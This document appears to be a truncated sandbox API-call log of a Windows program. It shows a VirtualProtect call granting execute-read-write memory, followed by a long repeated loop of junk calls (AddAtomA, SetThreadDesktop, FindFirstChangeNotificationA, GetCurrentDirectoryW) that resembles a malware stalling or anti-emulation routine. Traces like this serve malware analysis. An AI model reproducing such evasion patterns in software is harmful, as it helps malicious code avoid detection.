[0125.655] LocalFree (hMem=0x5ea178) returned 0x0 [0125.655] VirtualProtect (in: lpAddress=0x5b2a38, dwSize=0x29967, flNewProtect=0x40, lpflOldProtect=0x474f58 | out: lpflOldProtect=0x474f58*=0x4) returned 1 [0125.656] GetLastError () returned 0x578 [0125.656] AddAtomA (lpString=0x0) returned 0x0 [0125.656] AddAtomA (lpString=0x0) returned 0x0 [0125.656] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.656] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.656] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.656] GetLastError () returned 0x3 [0125.656] AddAtomA (lpString=0x0) returned 0x0 [0125.656] AddAtomA (lpString=0x0) returned 0x0 [0125.656] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.656] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.656] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.656] GetLastError () returned 0x3 [0125.656] AddAtomA (lpString=0x0) returned 0x0 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.657] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.657] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.657] GetLastError () returned 0x3 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.657] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.657] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.657] GetLastError () returned 0x3 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.657] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.657] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.657] GetLastError () returned 0x3 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.657] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.657] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.657] GetLastError () returned 0x3 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.657] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.657] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.657] GetLastError () returned 0x3 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] AddAtomA (lpString=0x0) returned 0x0 [0125.657] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.657] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.657] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.657] GetLastError () returned 0x3 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.658] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.658] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.658] GetLastError () returned 0x3 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.658] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.658] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.658] GetLastError () returned 0x3 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.658] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.658] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.658] GetLastError () returned 0x3 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.658] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.658] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.658] GetLastError () returned 0x3 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.658] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.658] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.658] GetLastError () returned 0x3 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] AddAtomA (lpString=0x0) returned 0x0 [0125.658] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.658] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.659] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.659] GetLastError () returned 0x3 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.659] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.659] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.659] GetLastError () returned 0x3 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.659] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.659] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.659] GetLastError () returned 0x3 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.659] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.659] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.659] GetLastError () returned 0x3 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.659] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.659] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.659] GetLastError () returned 0x3 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.659] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.659] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.659] GetLastError () returned 0x3 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] AddAtomA (lpString=0x0) returned 0x0 [0125.659] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.660] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.660] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.660] GetLastError () returned 0x3 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.660] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.660] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.660] GetLastError () returned 0x3 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.660] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.660] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.660] GetLastError () returned 0x3 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.660] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.660] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.660] GetLastError () returned 0x3 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.660] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.660] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.660] GetLastError () returned 0x3 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.660] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.660] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.660] GetLastError () returned 0x3 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.660] AddAtomA (lpString=0x0) returned 0x0 [0125.661] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.661] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.661] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.661] GetLastError () returned 0x3 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.661] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.661] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.661] GetLastError () returned 0x3 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.661] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.661] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.661] GetLastError () returned 0x3 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.661] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.661] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.661] GetLastError () returned 0x3 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.661] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.661] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.661] GetLastError () returned 0x3 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.661] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.661] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.661] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.661] GetLastError () returned 0x3 [0125.661] AddAtomA (lpString=0x0) returned 0x0 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.662] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.662] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.662] GetLastError () returned 0x3 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.662] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.662] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.662] GetLastError () returned 0x3 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.662] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.662] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.662] GetLastError () returned 0x3 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.662] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.662] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.662] GetLastError () returned 0x3 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.662] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.662] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.662] GetLastError () returned 0x3 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] AddAtomA (lpString=0x0) returned 0x0 [0125.662] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.662] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.663] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.663] GetLastError () returned 0x3 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.663] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.663] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.663] GetLastError () returned 0x3 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.663] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.663] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.663] GetLastError () returned 0x3 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.663] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.663] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.663] GetLastError () returned 0x3 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.663] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.663] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.663] GetLastError () returned 0x3 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.663] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.663] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.663] GetLastError () returned 0x3 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.663] AddAtomA (lpString=0x0) returned 0x0 [0125.664] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.664] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.664] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.664] GetLastError () returned 0x3 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.664] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.664] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.664] GetLastError () returned 0x3 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.664] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.664] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.664] GetLastError () returned 0x3 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.664] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.664] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.664] GetLastError () returned 0x3 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.664] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.664] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.664] GetLastError () returned 0x3 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] AddAtomA (lpString=0x0) returned 0x0 [0125.664] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.664] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.664] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.665] GetLastError () returned 0x3 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.665] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.665] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.665] GetLastError () returned 0x3 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.665] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.665] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.665] GetLastError () returned 0x3 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.665] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.665] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.665] GetLastError () returned 0x3 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.665] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.665] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.665] GetLastError () returned 0x3 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.665] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.665] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.665] GetLastError () returned 0x3 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.665] AddAtomA (lpString=0x0) returned 0x0 [0125.666] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.666] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.666] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.666] GetLastError () returned 0x3 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.666] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.666] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.666] GetLastError () returned 0x3 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.666] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.666] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.666] GetLastError () returned 0x3 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.666] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.666] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.666] GetLastError () returned 0x3 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.666] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.666] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.666] GetLastError () returned 0x3 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] AddAtomA (lpString=0x0) returned 0x0 [0125.666] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.666] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.666] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.666] GetLastError () returned 0x3 [0125.667] AddAtomA (lpString=0x0) returned 0x0 [0125.667] AddAtomA (lpString=0x0) returned 0x0 [0125.667] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.667] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.667] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.667] GetLastError () returned 0x3 [0125.667] AddAtomA (lpString=0x0) returned 0x0 [0125.667] AddAtomA (lpString=0x0) returned 0x0 [0125.667] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.667] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.667] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.667] GetLastError () returned 0x3 [0125.667] AddAtomA (lpString=0x0) returned 0x0 [0125.667] AddAtomA (lpString=0x0) returned 0x0 [0125.667] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.667] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.667] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.667] GetLastError () returned 0x3 [0125.667] AddAtomA (lpString=0x0) returned 0x0 [0125.668] AddAtomA (lpString=0x0) returned 0x0 [0125.668] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.668] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.668] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0125.668] GetLastError () returned 0x3 [0125.668] AddAtomA (lpString=0x0) returned 0x0 [0125.668] AddAtomA (lpString=0x0) returned 0x0 [0125.668] SetThreadDesktop (hDesktop=0x0) returned 0 [0125.668] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0125.668] GetCurrentDirectoryW (in: 